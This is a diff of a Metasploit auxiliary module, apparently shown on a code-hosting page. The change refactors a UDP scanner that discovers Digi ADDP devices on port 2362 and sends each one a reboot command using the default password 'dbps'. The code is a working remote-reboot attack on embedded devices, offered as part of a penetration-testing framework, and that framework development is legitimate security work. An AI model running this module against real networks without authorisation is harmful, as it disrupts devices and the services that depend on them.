16
16
class Metasploit3 < Msf ::Auxiliary
17
17
18
18
include Msf ::Auxiliary ::Report
19
- include Msf ::Auxiliary ::Scanner
19
+ include Msf ::Auxiliary ::UDPScanner
20
20
21
21
def initialize
22
22
super (
@@ -34,128 +34,48 @@ def initialize
34
34
35
35
register_options (
36
36
[
37
- Opt ::CHOST ,
38
- OptInt . new ( 'BATCHSIZE' , [ true , 'The number of hosts to probe in each set' , 256 ] ) ,
39
37
Opt ::RPORT ( 2362 ) ,
40
38
OptString . new ( 'ADDP_PASSWORD' , [ true , 'The ADDP protocol password for each target' , 'dbps' ] )
41
39
] , self . class )
42
40
end
43
41
44
- def run_batch_size
45
- datastore [ 'BATCHSIZE' ] . to_i
46
- end
47
-
48
- def rport
49
- datastore [ 'RPORT' ] . to_i
50
- end
51
-
52
- def run_batch ( batch )
53
-
42
+ def scanner_prescan ( batch )
54
43
print_status ( "Finding ADDP nodes within #{ batch [ 0 ] } ->#{ batch [ -1 ] } (#{ batch . length } hosts)" )
55
-
56
44
@results = { }
57
- begin
58
- udp_sock = nil
59
- idx = 0
60
-
61
- # Create an unbound UDP socket if no CHOST is specified, otherwise
62
- # create a UDP socket bound to CHOST (in order to avail of pivoting)
63
- udp_sock = Rex ::Socket ::Udp . create ( { 'LocalHost' => datastore [ 'CHOST' ] || nil , 'Context' => { 'Msf' => framework , 'MsfExploit' => self } } )
64
- add_socket ( udp_sock )
65
-
66
- batch . each do |ip |
67
- begin
68
- # Try all currently-known magic probe values
69
- Rex ::Proto ::ADDP . request_config_all . each do |pkt |
70
- begin
71
- udp_sock . sendto ( pkt , ip , rport , 0 )
72
- rescue ::Errno ::ENOBUFS
73
- print_status ( "Socket buffers are full, waiting for them to flush..." )
74
- while ( r = udp_sock . recvfrom ( 65535 , 0.1 ) and r [ 1 ] )
75
- parse_reply ( r )
76
- end
77
- select ( nil , nil , nil , 0.25 )
78
- retry
79
- end
80
- end
81
-
82
- rescue ::Interrupt
83
- raise $!
84
- rescue ::Rex ::ConnectionError
85
- end
86
-
87
- if ( idx % 30 == 0 )
88
- while ( r = udp_sock . recvfrom ( 65535 , 0.1 ) and r [ 1 ] )
89
- parse_reply ( r )
90
- end
91
- end
92
-
93
- idx += 1
94
- end
95
-
96
- while ( r = udp_sock . recvfrom ( 65535 , 3 ) and r [ 1 ] )
97
- parse_reply ( r )
98
- end
99
-
100
- queue = { }
101
- @results . each_pair do |ip , res |
102
- queue [ ip ] = res
103
- end
104
- @results = { }
105
-
106
- queue . each_pair do |ip , res |
107
- info = Rex ::Proto ::ADDP . reply_to_string ( res )
108
- print_status ( "#{ ip } :#{ rport } Sending reboot request to device with MAC #{ res [ :mac ] } ..." )
109
- pkt = Rex ::Proto ::ADDP . request_reboot ( res [ :magic ] , res [ :mac ] , datastore [ 'ADDP_PASSWORD' ] )
110
-
111
- begin
112
- udp_sock . sendto ( pkt , ip , rport , 0 )
113
- rescue ::Errno ::ENOBUFS
114
- print_status ( "Socket buffers are full, waiting for them to flush..." )
115
- while ( r = udp_sock . recvfrom ( 65535 , 0.1 ) and r [ 1 ] )
116
- parse_reply ( r )
117
- end
118
- select ( nil , nil , nil , 0.25 )
119
- retry
120
- end
121
-
122
- while ( r = udp_sock . recvfrom ( 65535 , 0.1 ) and r [ 1 ] )
123
- parse_reply ( r )
124
- end
125
- end
126
-
127
- while ( r = udp_sock . recvfrom ( 65535 , 5 ) and r [ 1 ] )
128
- parse_reply ( r )
129
- end
130
-
131
- rescue ::Interrupt
132
- raise $!
133
- rescue ::Exception => e
134
- print_error ( "Unknown error: #{ e . class } #{ e } #{ e . backtrace } " )
45
+ end
46
+
47
+ def scan_host ( ip )
48
+ Rex ::Proto ::ADDP . request_config_all . each do |pkt |
49
+ scanner_send ( pkt , ip , datastore [ 'RPORT' ] )
135
50
end
136
51
end
137
52
53
+ def scanner_postscan ( batch )
54
+ queue = { }
55
+ @results . each_pair do |ip , res |
56
+ queue [ ip ] = res
57
+ end
138
58
139
- def parse_reply ( pkt )
140
- # Ignore "empty" packets
141
- return if not pkt [ 1 ]
59
+ @results = { }
142
60
143
- addr = pkt [ 1 ]
144
- if ( addr =~ /^::ffff:/ )
145
- addr = addr . sub ( /^::ffff:/ , '' )
61
+ queue . each_pair do |ip , res |
62
+ info = Rex ::Proto ::ADDP . reply_to_string ( res )
63
+ print_status ( "#{ ip } :#{ datastore [ 'RPORT' ] } Sending reboot request to device with MAC #{ res [ :mac ] } ..." )
64
+ pkt = Rex ::Proto ::ADDP . request_reboot ( res [ :magic ] , res [ :mac ] , datastore [ 'ADDP_PASSWORD' ] )
65
+ scanner_send ( pkt , ip , datastore [ 'RPORT' ] )
146
66
end
147
67
148
- data = pkt [ 0 ]
68
+ # Wait for the final replies to trickle in
69
+ scanner_recv ( 10 ) if queue . length > 0
70
+ end
149
71
150
- @results [ addr ] ||= { }
151
- @results [ addr ] = Rex ::Proto ::ADDP . decode_reply ( data )
72
+ def scanner_process ( data , shost , sport )
73
+ @results [ shost ] ||= { }
74
+ @results [ shost ] = Rex ::Proto ::ADDP . decode_reply ( data )
152
75
153
- if @results [ addr ] [ :cmd ] == Rex ::Proto ::ADDP ::CMD_REBOOT_REP
154
- print_status ( "#{ addr } :#{ rport } Reboot Status: " + Rex ::Proto ::ADDP . reply_to_string ( @results [ addr ] ) )
76
+ if @results [ shost ] [ :cmd ] == Rex ::Proto ::ADDP ::CMD_REBOOT_REP
77
+ print_status ( "#{ shost } :#{ sport } Reboot Status: " + Rex ::Proto ::ADDP . reply_to_string ( @results [ shost ] ) )
155
78
end
156
-
157
- return unless @results [ addr ] [ :magic ] and @results [ addr ] [ :mac ]
158
79
end
159
80
160
-
161
81
end
0 commit comments